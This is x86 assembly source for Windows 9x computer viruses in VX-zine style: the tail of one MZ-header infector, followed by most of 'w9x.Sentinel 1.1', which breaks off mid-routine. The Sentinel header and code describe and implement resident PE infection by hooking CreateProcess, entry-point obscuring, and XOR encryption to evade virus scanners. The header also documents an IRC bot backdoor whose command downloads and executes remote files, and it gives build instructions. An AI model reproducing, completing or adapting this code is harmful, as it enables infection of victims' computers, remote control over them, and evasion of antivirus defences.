mov edi,[esi+10h] ; EDI = MZheader

movzx ecx,byte ptr [edi+3Ch]

cmp byte ptr [edi+ecx],'P' ; check for PEheader


jnz _ret
Offset3B:

and eax,00000080h ; EAX = 0

xchg esi,edx ; ESI = ImageBase


; EDX = Cache Block Structure

cmpsb ; check for MZheader


jnz _ret

mov [esi-1+(Offset3B+1-VirusStart)],ecx ; save offset of PEheader

fst qword ptr [esi-1+(Next_FSD-VirusStart)] ; restore VxD dinamic call

inc eax ; EAX = 1

xchg eax,[edi-1+ecx+28h] ; set virus EntryPoint

sub eax,(JumpHost+5-VirusStart)

jb _ret ; jump if its already infected

mov cl,(VirusSize-1)

rep movsb ; copy virus to MZheader

mov [edi+(JumpHost+1-VirusEnd)],eax ; fix jump to host

;Here we are gonna find the pointer to the pending cache writes

mov ch,2
lea eax,[ecx-0Ch] ; EAX=1F4h ;-D
mov edi,[edx+0Ch] ; EDI = VRP (Volume Resource Pointer)
repnz scasd
jnz _ret ; not found :-(

; EDI = offset in VRP which contains PendingList pointer

cmp [edi],ecx ; check if there are other pending cache writes


ja _ret

cmp [edi+30h],ah ; only infect logical drives C,D,...


jbe _ret

;Now we are gonna insert this cache in the pending cache writes

or byte ptr [edx+32h],ah ; set dirty bit

mov [edx+1Ch],edx ; set PendingList->Next


mov [edx+20h],edx ; set PendingList->Previous

mov [edi],edx ; set PendingList pointer

_ret:

ret

db '29A'
VirusEnd:

;===================================================================

db 1000h dup(90h)

HostEntryPoint proc near

push 0
push offset Title
push offset Text
push 0
call MessageBoxA

push 0
call ExitProcess

HostEntryPoint endp

;===================================================================

ends
end VirusEntryPoint
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SENTINEL.ASM]ÄÄÄ
;........................................................................;
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
; w9x.Sentinel 1.1 (c)oded 2000 by f0re
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
;
; Abstract
; --------
; This is the sourcecode of my first resident w32 virus. It uses advanced
; EPO (entry point obscuring) and has backdoor capabilities via IRC.
;
;
; Virus Specification
; -------------------
; When an infected file is executed the decryptor receives control and
; decrypts the virus with the decryption key on the stack (see EPO
; specification). Next the virus goes resident by using the vxdcall0
; backdoor and hooks the CreateProcess api by modifying its address in the
; kernel32.dll export table in memory.
;
; When a new process is created the virus routine receives control and, if
; not already present, launches a new thread in which an IRC bot may be
; started (see IRC-BOT specification). Next it will try to infect the
; executed file.
;
; The infection procedure consists globally of the following steps. First
; it will search for a cavity in the file's code section and if one is
; found, it laces there the JumpVirus routine (see EPO specification).
; Second it will search for the nth call or jmp opcode in the code section
; to replace it with a call to this routine (again see EPO specification).
; Third it will copy the decryptor to the end of the file. Fourth it
; encrypts and copies the other portion of the virus to the file. The
; encryption key that is used is the offset of the returnaddress of the
; patched api call/jmp. Finally, after the file is infected, the original
; CreateProcess api code is executed.
;
;
; EPO specification
; ---------------------
; As already described, during infection the nth api call or (indirect)
; api jmp opcode in the code section of the file is replaced by a call
; to the JumpVirus routine (n is a random number). This routine was placed
; in a cavity somewhere in the code section. The JumpVirus routine holds
; the following 14 bytes of code:
;
; JumpVirusCode:
; xxxx = virtual address of JumpToVirusEntryPoint
; JumpToVirusEntryPoint:
; mov eax, [esp]
; add eax, delta
; jmp eax
;
; From the stack this routine takes the return address from the call. Next
; a precalculated number, called delta, (calculated during infection) is
; added which gives the virtual address of the virus entrypoint. After
; jumping to the virusdecryptor code the decryption key is taken from the
; stack (this is the return address from the call) and the viruscode can
; be decrypted.
;
; For a virusscanner it is now much harder to decrypt the virus; it first
; needs to find the return address of the api call or the address of the
; cavity and the size of the virus or both to be able to decrypt the
; virus.
;
;
; IRC BOT specification
; ---------------------
; When the IRC routine is launched, it will try to find an internet
; connection and if one is found, it launches an IRC BOT, ***a sentinel***
; which goes to undernet #sntnl. There it will sit and wait for remote
; commands. The nickname of a sentinel consists of a randomly chosen name
; from a list of names followed by two random numbers. In the rest of
; this text the name of a sentinel is indicated by xxx. A sentinel can
; understand a number of commands which can be send to a sentinel
; privately or to all sentinels at once by sending the message to the
; channel. The following messages are understood:
;
; * all IRC commands, send with the following stucture:
;
; /msg xxx pass /<ircommand> <params>
;
; so for example: /msg xxx pass /privmsg #sntnl :hello there
;
; * the installer-command, send with the following structure:
;
; /msg xxx pass /ex3c [<ipnumber>] [<get-command>]
;
; where <ipnumber> = ip-number of server where executable should
; be downloaded.
;
; where <get-command> = the exact command according to the HTTP
; protocol to retrieve the file.
;
; So the command may for example look like:
;
; /msg xxx pass /ex3c [123.45.67.89] [GET /filename.exe HTTP/1.0]
;
; If a sentinel receives this command it will download the
; specified file. Only when the it has succesfully received the
; entire file it will execute the file.
;
; * the status-command, send with the following structure:
;
; /msg xxx pass /st4t
;
; If a sentinel receives this command, it will show the status of
; the installer. Five different statuses are possible:
;
; Waiting/Unable to connect/Installing/Size error/Done
;
; * the quit-command, send with the following structure:
;
; /msg xxx pass /qu1t
;
; * the nick-command, send with the following structure:
;
; /msg xxx pass /n1ck
;
; This commands tells a sentinel to change its nick into a random
; 5 character long name.
;
;
; To Compile
; ----------
; tasm32 sentinel.asm /m /ml
; tlink32 -aa sentinel.obj lib\import32.lib
;
;
; Greetz
; ------
; Greetz go to (in random order): Blackjack, Darkman, MrSandman, Mdrg,
; Prizzy, Benny, rgo32, Asmod, Lord Julus, Spanska, DrOwlFS, Bumblebee,
; VirusBuster, LifeWire, Gbyte, r-, veedee, spo0ky, t00fic and last but
; not least all the other people from #virus/#vxers.
;
;
;"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""";

.386
.model flat, stdcall

locals
jumps
extrn ExitProcess:PROC

include inc\myinc.inc
include inc\wsocks.inc

.data

FirstCopy:
jmp RealStart

Start:
mov eax, dword ptr [esp] ; decryption key
pushad
call GetCurrentOffset

GetCurrentOffset:
pop esi
add esi, (RealStart - GetCurrentOffset)
mov ecx, ((Leap - RealStart)/4 + 1) ; size to decrypt

DecryptVirus:
xor dword ptr [esi], eax ; decryption routine
add esi, 04h
loop DecryptVirus

DecryptionDone:
popad

RealStart:
push ebp
call GetDeltaOffset

GetDeltaOffset:
pop ebp
sub ebp, offset GetDeltaOffset

SetSEH:
lea eax, [ebp + ErrorHandler] ; set new SEH handler
push eax
push dword ptr fs:[0] ; save old SEH handler
mov dword ptr fs:[0], esp ; initiate SEH frame

CheckWindowsVersion:
mov eax, [ebp + kernel32address]
cmp word ptr [eax], 'ZM'
jne ErrorHandler
add eax, [eax + 3ch]
cmp word ptr [eax], 'EP'
jne ErrorHandler

RestoreSEH:
pop dword ptr fs:[0] ; restore old SEH
add esp, 4 ; handler
jmp MainRoutines

ErrorHandler:
mov esp, [esp + 8]
pop dword ptr fs:[0]
add esp, 4
jmp CheckEpoType

MainRoutines:
pushad
call FIND_GETPROCADDRESS_API_ADDRESS
call FIND_VXDCALL0_ADDRESS
call FIND_USER32_BASE_ADDRESS
call GO_RESIDENT
popad

CheckEpoType:
cmp [ebp + epo_opcode], 15FFh
jne EpoJmpExit

EpoCallExit:
mov eax, [ebp + epo_awaa_va] ; [eax]-> va original jmp
pop ebp
jmp [eax]

EpoJmpExit:
mov eax, [ebp + epo_awaa_va] ; [eax]-> va original jmp
mov [esp + 4], eax
pop ebp
pop eax
jmp [eax]

;==============================[ includes ]==============================;

hookstruct db 20d dup(0)


zip db "zip",0
delta dd 00h
cs_rawsize dd 00h
cavity_va dd 00h

page_mem_size equ ((Leap-Start) + 0fffh)/1000h


resaddress dd 0
kernel32address dd 0bff70000h
user32address dd 0
wsock32address dd 0
imagehlpaddress dd 0

cp_oldapicodeaddress dd 0
cp_newapicodeaddress dd 0
cp_oldapicode db 06h dup(0)
cp_newapicode db 06h dup(0)

k32 db "KERNEL32.dll",0
user32 db "USER32.dll",0
imagehlp db "IMAGEHLP.dll",0

numberofnames dd 0
addressoffunctions dd 0
addressofnames dd 0
addressofordinals dd 0
AONindex dd 0

AGetProcAddress db "GetProcAddress", 0
AGetProcAddressA dd 0
AMessageBox db "MessageBoxA",0
AMessageBeep db "MessageBeep",0
AGetSystemTime db "GetSystemTime",0
AFindFirstFile db "FindFirstFileA",0
ACreateFile db "CreateFileA",0
ASetCurrentDirectory db "SetCurrentDirectoryA",0
ASetFileAttributes db "SetFileAttributesA",0
AGetFileAttributes db "GetFileAttributesA",0
ACreateFileMapping db "CreateFileMappingA",0
AMapViewOfFile db "MapViewOfFile",0
AUnmapViewOfFile db "UnmapViewOfFile",0
ACloseHandle db "CloseHandle",0
ASetFilePointer db "SetFilePointer",0
ASetEndOfFile db "SetEndOfFile",0
AGetModuleHandle db "GetModuleHandleA",0
ASetFileTime db "SetFileTime",0
ALoadLibrary db "LoadLibraryA",0
AGetSystemDirectory db "GetSystemDirectoryA",0
AGetWindowsDirectory db "GetWindowsDirectoryA",0
AGetFileSize db "GetFileSize",0
AGetCurrentDirectory db "GetCurrentDirectoryA",0
AVxdcall0A dd 0
ACheckSumMappedFile db "CheckSumMappedFile",0

filenamebuffer db 100h dup(0)

maphandle dd 0
mapaddress dd 0
memory dd 0
imagebase dd 0
imagesize dd 0
filealign dd 0
sectionalign dd 0
filehandle dd 0
filesize dd 0
PEheader dd 0
ip_original dd offset OriginalHost

windowtitle db "W9x.Sentinel", 0
msgtxt db "Observing the world f0revir", 0

myseh SEH <>


myfinddata WIN32_FIND_DATA <>
rva2raw dd 0
debug db 01

epo_newip dd 0
epo_cs_rva dd 0
epo_cs_pa dd 0
epo_ipnew_va dd 0
epo_ipnew_rva dd 0
epo_opcode dw 15ffh
epo_aoc_pa dd 0
epo_awaa_va dd offset ip_original

string db "ZZZZZZZZ", 0
ascvalues db "0123456789ABCDEF", 0

FIND_GETPROCADDRESS_API_ADDRESS proc

LoadExportTableData:
mov edi, [ebp + kernel32address] ; get exporttable
add edi, [edi + 3ch] ; address from
mov esi, [edi + 78h] ; kernel's PE header
add esi, [ebp + kernel32address]

mov eax, dword ptr [esi + 18h]


mov [ebp + numberofnames], eax ; save number of names

mov eax, dword ptr [esi + 1Ch] ; get ra of table with


add eax, [ebp + kernel32address] ; pointers to funtion
mov [ebp + addressoffunctions], eax ; addresses

mov eax, dword ptr [esi + 20h] ; get ra of table with


add eax, [ebp + kernel32address] ; pointers to names
mov [ebp + addressofnames], eax ; of functions

mov eax, dword ptr [esi + 24h] ; get ra of table with


add eax, [ebp + kernel32address] ; pointers to ordinals
mov [ebp + addressofordinals], eax ; of functions

BeginProcAddressSearch:
mov esi, [ebp + addressofnames] ; search for GetProc
mov [ebp + AONindex], esi ; Address API in names
mov edi, [esi] ; table
add edi, [ebp + kernel32address]
xor ecx, ecx
lea ebx, [ebp + AGetProcAddress]

TryAgain:
mov esi, ebx

MatchByte:
cmpsb
jne NextOne
cmp byte ptr [esi], 0 ; did the entire string
je GotIt ; match ?
jmp MatchByte

NextOne:
inc cx
add dword ptr [ebp + AONindex], 4 ; get next namepointer
mov esi, [ebp + AONindex] ; in table (4 dwords)
mov edi, [esi]
add edi, [ebp + kernel32address] ; align with kernelbase
jmp TryAgain

GotIt:
shl ecx, 1
mov esi, [ebp + addressofordinals] ; ordinal = nameindex *
add esi, ecx ; size of ordinal entry
xor eax, eax ; + ordinal table base
mov ax, word ptr [esi]
shl eax, 2 ; address of function =
mov esi, [ebp + addressoffunctions] ; ordinal * size of
add esi, eax ; entry of address
mov edi, dword ptr [esi] ; table + base of
add edi, [ebp + kernel32address] ; addresstable
mov [ebp + AGetProcAddressA], edi ; save GPA address
ret

FIND_GETPROCADDRESS_API_ADDRESS endp

FIND_VXDCALL0_ADDRESS proc

FindStartOfKernelExportSection:
mov esi, [ebp + kernel32address]
add esi, dword ptr [esi + 3ch]
mov edi, dword ptr [esi + 78h] ; virtual address of kernel32
add edi, [ebp + kernel32address] ; export section

GetVXDCallAddress:
mov esi, dword ptr [edi + 1Ch] ; get ra of table with
add esi, [ebp + kernel32address] ; pointers to funtion addresses
mov eax, dword ptr [esi]
add eax, [ebp + kernel32address]
mov [ebp + AVxdcall0A], eax
ret

FIND_VXDCALL0_ADDRESS endp

GETAPI proc

push eax
push dword ptr [ebp + kernel32address] ; load kernelbase
call [ebp + AGetProcAddressA] ; and get api address
jmp eax ; call the api
ret ; return

GETAPI endp

GETUAPI proc

push eax
push dword ptr [ebp + user32address] ; load user32base
call [ebp + AGetProcAddressA] ; and get api address
jmp eax
ret

GETUAPI endp

GETWAPI proc

push eax
push dword ptr [ebp + wsock32address] ; load wsockbase
call [ebp + AGetProcAddressA] ; and get api address
jmp eax
ret

GETWAPI endp

GETIAPI proc

push eax
push dword ptr [ebp + imagehlpaddress]
call [ebp + AGetProcAddressA]
jmp eax
ret
GETIAPI endp

GO_RESIDENT proc

CheckResidency:
mov eax, [ebp + kernel32address]
add eax, 400h
cmp dword ptr [eax], 'er0f'
je MemoryError ; already resident

PageReserve:
push 00020000h or 00040000h
push page_mem_size
push 80060000h
push 00010000h
call dword ptr [ebp + AVxdcall0A]
cmp eax, 0FFFFFFFh
je MemoryError
mov [ebp + resaddress], eax

CalculateVirusVirtualAddress:
mov ecx, offset InterceptCP - Start
add ecx, eax
mov [ebp + cp_newapicodeaddress], ecx

PageCommit:
push 00020000h or 00040000h or 80000000h or 00000008h
push 00000000h
push 00000001h
push page_mem_size
shr eax, 12
push eax
push 00010001h
call dword ptr [ebp + AVxdcall0A]
or eax, eax
je MemoryError

; IN: hookstruct:
; 00 : offset api name
; 04 : old apicodeaddress
; 08 ; offset for old apicode
; 12 ; offset for new apicode
; 16 : new apicodeaddress

lea eax, [ebp + hookstruct]


lea ebx, [ebp + ACreateProcess]
mov dword ptr [eax], ebx
lea ebx, [ebp + cp_oldapicodeaddress]
mov dword ptr [eax + 4], ebx
lea ebx, [ebp + cp_oldapicode]
mov dword ptr [eax + 8], ebx
lea ebx, [ebp + cp_newapicode]
mov dword ptr [eax + 12], ebx
lea ebx, [ebp + cp_newapicodeaddress]
mov dword ptr [eax + 16], ebx
call HOOK_API

CopyVirusToMemory:
cld
lea esi, [ebp + Start]
mov edi, [ebp + resaddress]
mov ecx, Leap-Start
rep movsb
SetResidentFlag:
mov eax, [ebp + kernel32address]
add eax, 400h
shr eax, 12d

ModifyPagePermissions2:
push 20060000h
push 00000000h
push 00000001h
push eax
push 0001000dh
call dword ptr [ebp + AVxdcall0A]
cmp eax, 0FFFFFFFh
je MemoryError

mov eax, [ebp + kernel32address]


add eax, 400h
mov dword ptr [eax], 'er0f'

MemoryError:
ret

GO_RESIDENT endp

INFECT_FILE proc

SetFileAttributesToNormal:
push 80h
lea esi, [ebp + myfinddata.fd_cFileName] ; esi = filename
push esi
lea eax, [ebp + ASetFileAttributes]
call GETAPI

OpenFile:
push 0 ; template handle=0
push 20h ; attributes=any file
push 3 ; type= existing file
push 0 ; security option = 0
push 1 ; shared for read
push 80000000h or 40000000h ; generic read write
lea esi, [ebp + filenamebuffer]
push esi ; offset file name
lea eax, [ebp + ACreateFile]
call GETAPI

cmp eax, 0FFFFFFFFh


je InfectionError
mov [ebp + filehandle], eax

;-------------------------------[ map file ]---------------------------------;

CreateFileMapping: ; allocates the memory


push 0 ; filename handle = 0
push [ebp + memory] ; max size = memory
push 0 ; minumum size = 0
push 4 ; read / write access
push 0 ; sec. attrbs= default
push [ebp + filehandle]
lea eax, [ebp + ACreateFileMapping]
call GETAPI ; eax = new map handle

mov [ebp + maphandle], eax


or eax, eax
jz CloseFile

MapViewOfFile:
push [ebp + memory] ; memory to map
push 0 ; file offset
push 0 ; file offset
push 2 ; file map write mode
push eax ; file map handle
lea eax, [ebp + AMapViewOfFile] ; ok map the file
call GETAPI
or eax, eax
jz CloseMap
mov [ebp + mapaddress], eax ; save that base

CheckForMZMark:
cmp word ptr [eax], 'ZM' ; an exe file?
jne UnmapView

CheckInfectionMark:
cmp word ptr [eax + 38h], 'll' ; already infected?
je UnmapView

NotYetInfected:
mov esi, dword ptr [eax + 3ch]
cmp esi, 200h
ja UnmapView
add esi, eax
cmp dword ptr [esi], 'EP' ; is it a PE file ?
jne UnmapView
mov [ebp + PEheader], esi ; save va PE header
mov eax, [esi + 28h]
mov [ebp + ip_original], eax ; save original ip
mov eax, [esi + 34h]
mov [ebp + imagebase], eax ; save imagebase

;------------------------------[ append section ]----------------------------;

CheckForEPO:
pushad
mov [ebp + epo_opcode], 15FFh ; search for call opcode
call CREATE_EPO
or eax, eax
jnz LocateBeginOfLastSection
mov [ebp + epo_opcode], 25FFh
call CREATE_EPO
or eax, eax
jnz LocateBeginOfLastSection
popad
jmp UnmapView

LocateBeginOfLastSection:
popad
movzx ebx, word ptr [esi + 20d] ; optional header size
add ebx, 24d ; file header size
movzx eax, word ptr [esi + 6h] ; no of sections
dec eax ; (we want the last-1
mov ecx, 28h ; sectionheader)
mul ecx ; * header size
add esi, ebx ; esi = begin of last
add esi, eax ; section's header

CheckForOverLays:
mov eax, [esi + 10h] ; section phys size
add eax, [esi + 14h] ; section phys offset
mov ecx, [ebp + PEheader]
mov ecx, [ecx + 38h]
div ecx
inc eax
mul ecx
mov ecx, [ebp + filesize]
cmp ecx, eax
ja UnmapView ; we dont infect those
mov ecx, 08h

CheckForZipSFX:
lea edi, [ebp + zip]
push ecx
push esi
mov ecx, 03h
rep cmpsb
pop esi
pop ecx
je UnmapView
inc esi
loop CheckForZipSFX

ChangeLastSectionHeaderProperties:
sub esi, 08h
or dword ptr [esi + 24h], 00000020h or 20000000h or 80000000h

NewAlignedPhysicalSize:
mov eax, [esi + 8h] ; old virt size
add eax, Leap-Start
mov ecx, [ebp + PEheader]
mov ecx, [ecx + 3ch]
div ecx ; and align it to
inc eax ; the filealign
mul ecx
mov [esi + 10h], eax ; save it

NewAlignedVirtualSize:
mov eax, [esi + 8h] ; get old
push eax ; store it
add eax, Leap-Start
mov ecx, [ebp + PEheader]
mov ecx, [ecx + 38h]
div ecx ; and align it to
inc eax ; the sectionalign
mul ecx
mov [esi + 8h], eax ; save new value

NewAlignedImageSize:
mov eax, dword ptr [esi + 0ch] ; get virtual offset
add eax, dword ptr [esi + 8h] ; + new virtual size
mov [ebp + imagesize], eax ; = new imagesize

NewAlignedFileSize:
mov eax, dword ptr [esi + 10h] ; get new phys size
add eax, dword ptr [esi + 14h] ; add offset of phys
mov [ebp + filesize], eax ; size = filesize

CalculateNewIp:
pop eax
push eax
add eax, dword ptr [esi + 0ch] ; + virtual offset
mov [ebp + epo_ipnew_rva], eax ; new ip

CreateEpoIp:
add eax, [ebp + imagebase]
mov [ebp + epo_ipnew_va], eax

CalculateEncryptionKey:
mov ebx, [ebp + epo_aoc_pa]
sub ebx, [ebp + epo_cs_pa]
add ebx, [ebp + epo_cs_rva]
add ebx, 04h ; ebx-> original return address
add ebx, [ebp + imagebase] ; after call = encryption key

CalculateDelta:
mov eax, [ebp + epo_ipnew_va]
sub eax, ebx
mov [ebp + delta], eax

CopyVirusDecryptorToEndOfFile:
pop eax
mov edi, eax ; virtual size
add edi, [ebp + mapaddress] ; mapaddress
add edi, [esi + 14h] ; add raw data offset
lea esi, [ebp + Start] ; copy virus
mov ecx, (RealStart - Start)
rep movsb

PrepareToEncryptAndCopy:
mov ecx, ((Leap-RealStart)/4 + 1)
cld

EncryptAndCopyVirus:
movsd
sub edi, 04h
xor dword ptr [edi], ebx
add edi, 04h
loop EncryptAndCopyVirus

SearchForCavity:
mov esi, [ebp + epo_cs_pa]
mov ecx, [ebp + cs_rawsize]
call CAVITYSEARCH
or esi, esi
jz UpdatePEHeaderWithChanges
mov eax, esi
sub eax, [ebp + epo_cs_pa]
add eax, [ebp + epo_cs_rva]
add eax, [ebp + imagebase]
mov [ebp + cavity_va], eax

WriteVirusJumpIntoCavity:
add eax, 04h
mov dword ptr [esi], eax
add esi, 04h
mov dword ptr [esi], 0524048Bh
add esi, 04h
mov eax, [ebp + delta]
mov dword ptr [esi], eax
add esi, 04h
mov word ptr [esi], 0E0FFh

SetEpo:
mov eax, [ebp + cavity_va]
mov edx, [ebp + epo_aoc_pa]
mov dword ptr [edx], eax
sub edx, 02h
mov word ptr [edx], 15FFh ; turn jmp into call

UpdatePEHeaderWithChanges:
mov esi, [ebp + mapaddress]
mov word ptr [esi + 38h], 'll' ; set infectionmark
mov esi, [ebp + PEheader]
mov eax, [ebp + imagesize]
mov [esi + 50h], eax ; set new imagesize

CalculateNewCheckSum:
cmp dword ptr [esi + 58h], 00h
je UnmapView

LoadImageHlpDll:
lea eax, [ebp + imagehlp]
push eax
lea eax, [ebp + ALoadLibrary]
call GETAPI
or eax, eax
jz UnmapView
mov [ebp + imagehlpaddress], eax

CalculateNewChecksum:
mov esi, [ebp + PEheader]
push dword ptr [esi + 58h]
lea eax, [ebp + buffer]
push eax
push dword ptr [ebp + filesize]
push dword ptr [ebp + mapaddress]
lea eax, [ebp + ACheckSumMappedFile]
call GETIAPI

;--------------------------------[ unmap file ]------------------------------;

UnmapView:
push dword ptr [ebp + mapaddress]
lea eax, [ebp + AUnmapViewOfFile]
call GETAPI

CloseMap:
push dword ptr [ebp + maphandle]
lea eax, [ebp + ACloseHandle]
call GETAPI

push 0 ; set file pointer to


push 0 ; beginning + filesize
push [ebp + filesize] ; = end of file
push [ebp + filehandle]
lea eax, [ebp + ASetFilePointer]
call GETAPI

push [ebp + filehandle] ; set EOF equal to current


lea eax, [ebp + ASetEndOfFile] ; filepointer position
call GETAPI

;--------------------------------[ close file ]------------------------------;

CloseFile:
push dword ptr [ebp + myfinddata.fd_ftLastWriteTime]
push dword ptr [ebp + myfinddata.fd_ftLastAccessTime]
push dword ptr [ebp + myfinddata.fd_ftCreationTime]
push dword ptr [ebp + filehandle]
lea eax, [ebp + ASetFileTime]
call GETAPI

push [ebp + filehandle]


lea eax, [ebp + ACloseHandle]
call GETAPI

InfectionError:
push dword ptr [ebp + myfinddata.fd_dwFileAttributes]
lea eax, [ebp + myfinddata.fd_cFileName]
push eax
lea eax, [ebp + ASetFileAttributes]
call GETAPI
ret

INFECT_FILE endp

RESIDENT_CP proc

InterceptCP:
pushad
call GetApiDelta

GetApiDelta:
pop ebp
sub ebp, offset GetApiDelta
call FIND_GETPROCADDRESS_API_ADDRESS
call FIND_USER32_BASE_ADDRESS
call RESIDENT_CP2
call IRC_LAUNCH
popad

GetNewDelta:
call NewDelta

NewDelta:
pop eax
sub eax, offset NewDelta

RestoreApiCode:
pushad
mov edi, [eax + cp_oldapicodeaddress]
lea esi, [eax + cp_oldapicode]
mov ecx, 06h
rep movsb
popad

pop [eax + returnaddress]


call dword ptr [eax + cp_oldapicodeaddress]

ReHookApi:
pushad
call GetNewDelta2

GetNewDelta2:
pop ebp
sub ebp, offset GetNewDelta2

mov edi, [ebp + cp_oldapicodeaddress]


lea esi, [ebp + cp_newapicode]
mov ecx, 06h
rep movsb
popad

ReturnToOriginalCaller:
db 68h
returnaddress dd 0
ret

RESIDENT_CP endp

RESIDENT_CP2 proc

CheckForEmptyCommandLine:
mov esi, dword ptr [esp + 2ch]
or esi, esi
jz Continue

ExtractFileName:
xor ecx, ecx
cmp byte ptr [esi], '"'
jne FileNameNormal
inc esi
push esi

GetFileNamePartBetweenQuotes:
cmp byte ptr [esi], '"'
je GetBetweenQuotes
inc esi
inc ecx
cmp ecx, 100h
ja FileNameEndNotFound
jmp GetFileNamePartBetweenQuotes

GetBetweenQuotes:
mov edi, esi
pop esi
sub edi, esi ; esi hold start of filename
mov ecx, edi ; ecx holds size of filename
jmp StoreFileName

FileNameNormal:
push esi

GetNormalFileName:
cmp byte ptr [esi], ' '
je FoundNormalFileName
inc esi
inc ecx
cmp ecx, 100h
ja FileNameEndNotFound
jmp GetNormalFileName

FoundNormalFileName:
mov edi, esi
pop esi
sub edi, esi ; esi hold start of filename
mov ecx, edi ; ecx holds size of filename
jmp StoreFileName

FileNameEndNotFound:
pop esi
jmp Continue
StoreFileName:
push edi
push esi
push ecx

mov ecx, 100h


xor eax, eax
lea edi, [ebp + filenamebuffer]
rep stosb

pop ecx
pop esi
pop edi

lea edi, [ebp + filenamebuffer]


rep movsb

CheckForRem:
lea esi, [ebp + filenamebuffer]
cmp word ptr [esi], 'er'
jne FindFirstFile
inc esi
cmp word ptr [esi], 'me'
je Continue

FindFirstFile:
lea eax, [ebp + myfinddata] ; win32 finddata structure
push eax
lea eax, [ebp + filenamebuffer]
push eax
lea eax, [ebp + AFindFirstFile] ; find the file
call GETAPI
cmp eax, 0FFFFFFFFh ; file was not found
je Continue

cmp [ebp + debug], 00h


je InfectThisFile
xor ecx, ecx
lea esi, [ebp + myfinddata.fd_cFileName]

CheckFileName:
cmp byte ptr [esi], 0
je Continue
cmp dword ptr [esi], 'mmud'
je InfectThisFile
inc esi
inc ecx
cmp ecx, 100h
ja Continue
jmp CheckFileName

InfectThisFile:
mov ecx, [ebp + myfinddata.fd_nFileSizeLow] ; ecx = filesize
mov [ebp + filesize], ecx ; save the filesize
add ecx, Leap - Start + 1000h ; filesize + virus
mov [ebp + memory], ecx ; + workspace = memory

call INFECT_FILE

Continue:
ret

RESIDENT_CP2 endp
HOOK_API proc

; IN: hookstruct:
; 00 : offset api name
; 04 : old apicodeaddress
; 08 ; offset for old apicode
; 12 ; offset for new apicode
; 16 : new apicodeaddress

FindKernelExportTable:
pushad
mov edi, [ebp + kernel32address]
add edi, dword ptr [edi + 3ch]
mov esi, dword ptr [edi + 78h]
add esi, [ebp + kernel32address]

GetNecessaryData:
mov eax, dword ptr [esi + 18h]
add eax, [ebp + kernel32address]
mov [ebp + numberofnames], eax ; save number of names
mov eax, dword ptr [esi + 1Ch] ; get ra of table with
add eax, [ebp + kernel32address]
mov [ebp + addressoffunctions], eax ; function addresses
mov eax, dword ptr [esi + 20h] ; get ra of table with
add eax, [ebp + kernel32address]
mov [ebp+addressofnames], eax ; pointers to names
mov eax, dword ptr [esi + 24h] ; get ra of table with
add eax, [ebp + kernel32address]
mov [ebp+addressofordinals], eax ; pointers to ordinals

BeginApiAddressSearch:
mov esi, [ebp + addressofnames] ; search for
mov [ebp + AONindex], esi ; API in names
mov edi, [esi] ; table
add edi, [ebp + kernel32address]

HookCreateProcess:
xor ecx, ecx

OkTryAgain:
lea ebx, [ebp + hookstruct]
mov esi, dword ptr [ebx]

MatchByteNow:
cmpsb
jne NextOneNow
cmp byte ptr [esi], 0 ; did the entire string
je YesGotIt ; match ?
jmp MatchByteNow

NextOneNow:
inc cx
add dword ptr [ebp + AONindex], 4 ; get next namepointer
mov esi, [ebp + AONindex] ; in table (4 dwords)
mov edi, [esi]
add edi, [ebp + kernel32address]
jmp OkTryAgain

YesGotIt:
shl ecx, 1
mov esi, [ebp + addressofordinals] ; ordinal = nameindex *
add esi, ecx ; size of ordinal entry
xor eax, eax ; + ordinal table base
mov ax, word ptr [esi] ; offset of address
shl eax, 2 ; of function = ordinal
mov esi, [ebp + addressoffunctions] ; * size of entry of
add esi, eax ; address table
mov edi, dword ptr [esi] ; get address
add edi, [ebp + kernel32address]

lea eax, [ebp + hookstruct]


mov eax, dword ptr [eax + 4]
mov dword ptr [eax], edi

SetApiHook:
mov eax, edi
shr eax, 12d

ModifyPagePermissions:
push 20060000h
push 00000000h
push 00000001h
push eax
push 0001000dh
call dword ptr [ebp + AVxdcall0A]

cmp eax, 0FFFFFFFh


jne SaveCreateProcessApiCode
xor eax, eax
jmp ApiHookError

SaveCreateProcessApiCode:
lea esi, [ebp + hookstruct]
mov esi, dword ptr [esi + 4]
mov esi, dword ptr [esi]
lea edi, [ebp + hookstruct]
mov edi, dword ptr [edi + 8]
mov ecx, 06h
rep movsb

PrepareCreateProcessApiCode:
lea esi, [ebp + hookstruct]
mov esi, dword ptr [esi + 12]
mov byte ptr [esi], 68h
inc esi
lea eax, [ebp + hookstruct]
mov eax, dword ptr [eax + 16]
mov eax, dword ptr [eax]
mov dword ptr [esi], eax
add esi, 04h
mov byte ptr [esi], 0c3h

ChangeCreateProcessApiCode:
lea edi, [ebp + hookstruct]
mov edi, dword ptr [edi + 4]
mov edi, dword ptr [edi]
lea esi, [ebp + hookstruct]
mov esi, dword ptr [esi + 12]
mov ecx, 06h
rep movsb

ApiHookError:
popad
ret
HOOK_API endp

CREATE_EPO proc

LocateCodeSectionHeader:
mov eax, [ebp + ip_original]
call FIND_SECTION
or eax, eax
jz ExitEpoRoutine

; edi = start of code section header

GetPointerToRawData:
mov eax, dword ptr [edi + 12d] ; eax = rva cs
mov [ebp + epo_cs_rva], eax

mov ecx, dword ptr [edi + 16d] ; raw size of code section
mov [ebp + cs_rawsize], ecx
mov edx, dword ptr [edi + 20d] ; RVA to raw data of code section
add edx, [ebp + mapaddress]
mov [ebp + epo_cs_pa], edx
mov esi, edx

mov eax, [ebp + ip_original]


mov edx, [ebp + epo_cs_rva]
sub eax, edx
add esi, eax
sub ecx, eax

; esi = physical address to raw data of code section


; ecx = size of raw data of code section

ScanForOpcode:
lodsw
dec esi

cmp word ptr [ebp + epo_opcode], ax


je FoundOpcode
loop ScanForOpcode
xor eax, eax ; eax = 0 = error
jmp ExitEpoRoutine ; not found

FoundOpcode:
dec ecx
push esi
push ecx
inc esi

; esi = physical address of [xxxx] in code section

ExamineAddress:
mov [ebp + epo_aoc_pa], esi ; address of call
mov eax, dword ptr [esi]
mov [ebp + epo_awaa_va], eax ; address where api address

;pushad
;call MSG_BEEP
;popad

; on stack: esi, ecx

